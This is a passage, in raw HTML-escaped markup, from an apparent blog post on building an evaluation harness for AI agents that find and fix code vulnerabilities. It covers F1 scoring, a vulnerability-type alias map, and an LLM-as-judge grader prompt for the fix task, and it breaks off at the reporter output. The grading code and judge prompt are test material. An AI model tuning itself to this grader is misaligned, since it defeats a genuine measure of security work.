&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; precision &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; recall) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (precision &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; recall);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why F1? Precision alone rewards being conservative (report nothing, zero false positives, but terrible recall). Recall alone rewards crying wolf (report everything, 100% recall, but terrible precision). F1 penalizes both and gives you a single headline number.&lt;/p&gt;
&lt;p&gt;The type normalization is important — models use different aliases for the same vulnerability class. We maintain a map:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Record&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;VulnType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;sql injection&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;sql-injection&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;cross-site scripting&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;xss&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;directory traversal&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;path-traversal&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;rce&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;command-injection&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;hardcoded secret&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;hardcoded-credentials&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;fix-vulns-llm-as-judge&quot;&gt;fix-vulns: LLM-as-judge&lt;/h3&gt;
&lt;p&gt;For fix-vulns, the agent modifies files — there’s no structured output to parse. Instead, after the agent run, we read the modified fixture and ask Claude Haiku to judge whether each vulnerability was fixed:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;scoreFixVulns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;fixedDir&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalTask&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;FixVulnsDetails&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;gatherSourceFiles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(fixedDir);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;codeContext&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`### ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n\`\`\`\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n\`\`\`&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;vulnList&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; task.knownVulns&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`- ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} in ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} — ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; anthropic.messages.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    model: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;claude-haiku-4-5&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    max_tokens: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    messages: [{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      role: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      content: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`You are a security code reviewer. The following code has been modified to fix vulnerabilities.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Original vulnerabilities:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;vulnList&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Modified code:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;codeContext&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;For each vulnerability, determine if it has been fixed. Respond with JSON:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;{ &quot;results&quot;: [{ &quot;id&quot;: &quot;vuln-id&quot;, &quot;fixed&quot;: true/false, &quot;note&quot;: &quot;brief explanation&quot; }] }`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// parse results, count fixes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fixedCount&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; results.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; r.fixed).&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    vulnsAttempted: task.knownVulns.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    vulnsFixed: fixedCount,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    judgeNotes: results.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fixed&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;✓&quot;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;✗&quot;} ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;note&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;; &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We use Haiku for the judge because it’s cheap and fast — the judge call is overhead on top of the actual agent run. For fix-vulns, the score is simply &lt;code&gt;vulnsFixed / vulnsAttempted&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fix-vulns runner always works on a &lt;em&gt;temp copy&lt;/em&gt; of the fixture so the originals are never modified:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (task.category.id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fix-vulns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  cwd &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TMP_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}-${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}-${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;mkdirSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(cwd, { recursive: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;cpSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(task.fixture, cwd, { recursive: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  cleanupTmp &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-7-the-reporter&quot;&gt;Step 7: The reporter&lt;/h2&gt;
&lt;p&gt;The output for a single run looks like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;──────────────────────────────────────────────────────────────────────&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Task:    JS App: Find Vulnerabilities&lt;/span&gt;&lt;/span&gt;
